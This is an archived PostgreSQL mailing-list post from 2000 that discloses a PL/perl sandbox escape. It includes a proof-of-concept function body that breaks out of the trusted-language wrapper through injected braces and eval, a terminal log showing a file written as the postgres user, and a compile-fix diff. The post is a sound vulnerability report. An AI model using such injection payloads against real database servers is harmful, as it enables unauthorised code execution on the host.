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possible security problem with PL/perl

From: ts <decoux(at)moulon(dot)inra(dot)fr>
To: pgsql-general(at)postgresql(dot)org
Subject: possible security problem with PL/perl
Date: 2000-03-06 07:07:17
Message-ID: 200003060707.IAA23017@moulon.moulon.inra.fr (view raw or flat)
Thread:
Lists: pgsql-general

 I was looking the extension PL/Tcl and PL/perl for trying to write an
 extension for another language, when I've found a possible problem with
 PL/perl. 

 My configuration :
   * PostgreSQL 6.5.3
   * plperl extract from postgresql-7.0beta1.tar.gz
   * perl 5.005_03

 At the end of this message, my modification to compile it under 6.5.3 if
 somebody want to verify it  (modification of some constants only :
 FUNC_MAX_ARGS, PROCOID and TYPEOID) 

 The file README say :

 ------------------------------------------------------------
-- here is one that will fail. Creating the function
-- will work, but using it will fail.
CREATE FUNCTION badfunc() RETURNS int4 AS '
open(TEMP, ">/tmp/badfile");
print TEMP "Gotcha!\n";
return 1;
' LANGUAGE 'plperl';
 
SELECT badfunc();
 ------------------------------------------------------------


 Here my example :

 ------------------------------------------------------------
aestivum% pwd
/var/postgres/pl/plperl
aestivum% ls -alg /tmp/badfile
ls: /tmp/badfile: No such file or directory
aestivum% cat README

CREATE FUNCTION plperl_call_handler() RETURNS opaque
AS '/var/postgres/pl/plperl/plperl.so' LANGUAGE 'C';

CREATE TRUSTED PROCEDURAL LANGUAGE 'plperl'
HANDLER plperl_call_handler
LANCOMPILER 'PL/Perl';

CREATE FUNCTION badfunc() RETURNS int4 AS '
 } ]), eval( q[ sub { 
  open(TEMP, ">/tmp/badfile"); 
  print TEMP "Gotcha!\n"; 
  return 1;
' LANGUAGE 'plperl';

SELECT badfunc();


aestivum% psql toto < README

CREATE FUNCTION plperl_call_handler() RETURNS opaque
AS '/var/postgres/pl/plperl/plperl.so' LANGUAGE 'C';
CREATE

CREATE TRUSTED PROCEDURAL LANGUAGE 'plperl'
HANDLER plperl_call_handler
LANCOMPILER 'PL/Perl';
CREATE

CREATE FUNCTION badfunc() RETURNS int4 AS '
 } ]), eval( q[ sub {
  open(TEMP, ">/tmp/badfile");
  print TEMP "Gotcha!\n";
  return 1;
' LANGUAGE 'plperl';
CREATE

SELECT badfunc();
badfunc
-------
      1
(1 row)



EOF
aestivum% ls -alg /tmp/badfile
-rw-------   1 postgres postgres        8 Mar  6 07:31 /tmp/badfile
aestivum% 
aestivum% cat /tmp/badfile
Gotcha!
aestivum%

 ------------------------------------------------------------

 There is no failure and the file is created.

 Someone can verify if this problem :
   1) is real
   2) still exist in postgres 7.0beta1

 Thanks,



Guy Decoux

ps: I'm not subscribed to this mailing list


 ------------------------------------------------------------
aestivum% diff -u plperl.c~ plperl.c
--- plperl.c~   Sun Feb 20 09:00:27 2000
+++ plperl.c    Mon Mar  6 07:14:39 2000
@@ -86,10 +86,10 @@
        Oid                     result_in_elem;
        int                     result_in_len;
        int                     nargs;
-       FmgrInfo        arg_out_func[FUNC_MAX_ARGS];
-       Oid                     arg_out_elem[FUNC_MAX_ARGS];
-       int                     arg_out_len[FUNC_MAX_ARGS];
-       int                     arg_is_rel[FUNC_MAX_ARGS];
+       FmgrInfo        arg_out_func[MAXFMGRARGS];
+       Oid                     arg_out_elem[MAXFMGRARGS];
+       int                     arg_out_len[MAXFMGRARGS];
+       int                     arg_is_rel[MAXFMGRARGS];
        SV*                     reference;
 }                      plperl_proc_desc;
 
@@ -490,7 +490,7 @@
                /************************************************************
                 * Lookup the pg_proc tuple by Oid
                 ************************************************************/
-               procTup = SearchSysCacheTuple(PROCOID,
+               procTup = SearchSysCacheTuple(PROOID,
                                                                          Object
IdGetDatum(proinfo->fn_oid),
                                                                          0, 0, 
0);
                if (!HeapTupleIsValid(procTup))
@@ -505,7 +505,7 @@
                 * Get the required information for input conversion of the
                 * return value.
                 ************************************************************/
-               typeTup = SearchSysCacheTuple(TYPEOID,
+               typeTup = SearchSysCacheTuple(TYPOID,
                                                                ObjectIdGetDatum
(procStruct->prorettype),
                                                                          0, 0, 
0);
                if (!HeapTupleIsValid(typeTup))
@@ -535,7 +535,7 @@
                proc_internal_args[0] = '\0';
                for (i = 0; i < proinfo->fn_nargs; i++)
                {
-                       typeTup = SearchSysCacheTuple(TYPEOID,
+                       typeTup = SearchSysCacheTuple(TYPOID,
                                                        ObjectIdGetDatum(procStr
uct->proargtypes[i]),
                                                                                
 0, 0, 0);
                        if (!HeapTupleIsValid(typeTup))
@@ -720,7 +720,7 @@
                /************************************************************
                 * Lookup the pg_proc tuple by Oid
                 ************************************************************/
-               procTup = SearchSysCacheTuple(PROCOID,
+               procTup = SearchSysCacheTuple(PROOID,
                                                                          Object
IdGetDatum(proinfo->fn_oid),
                                                                          0, 0, 
0);
                if (!HeapTupleIsValid(procTup))
@@ -1041,7 +1041,7 @@
                 * Lookup the attribute type in the syscache
                 * for the input function
                 ************************************************************/
-               typeTup = SearchSysCacheTuple(TYPEOID,
+               typeTup = SearchSysCacheTuple(TYPOID,
                                  ObjectIdGetDatum(tupdesc->attrs[attnum - 1]->a
tttypid),
                                                                          0, 0, 
0);
                if (!HeapTupleIsValid(typeTup))
@@ -2058,7 +2058,7 @@
                 * Lookup the attribute type in the syscache
                 * for the output function
                 ************************************************************/
-               typeTup = SearchSysCacheTuple(TYPEOID,
+               typeTup = SearchSysCacheTuple(TYPOID,
                                                   ObjectIdGetDatum(tupdesc->att
rs[i]->atttypid),
                                                                          0, 0, 
0);
                if (!HeapTupleIsValid(typeTup))
@@ -2134,7 +2134,7 @@
                 * Lookup the attribute type in the syscache
                 * for the output function
                 ************************************************************/
-               typeTup = SearchSysCacheTuple(TYPEOID,
+               typeTup = SearchSysCacheTuple(TYPOID,
                                                   ObjectIdGetDatum(tupdesc->att
rs[i]->atttypid),
                                                                          0, 0, 
0);
                if (!HeapTupleIsValid(typeTup))
aestivum%

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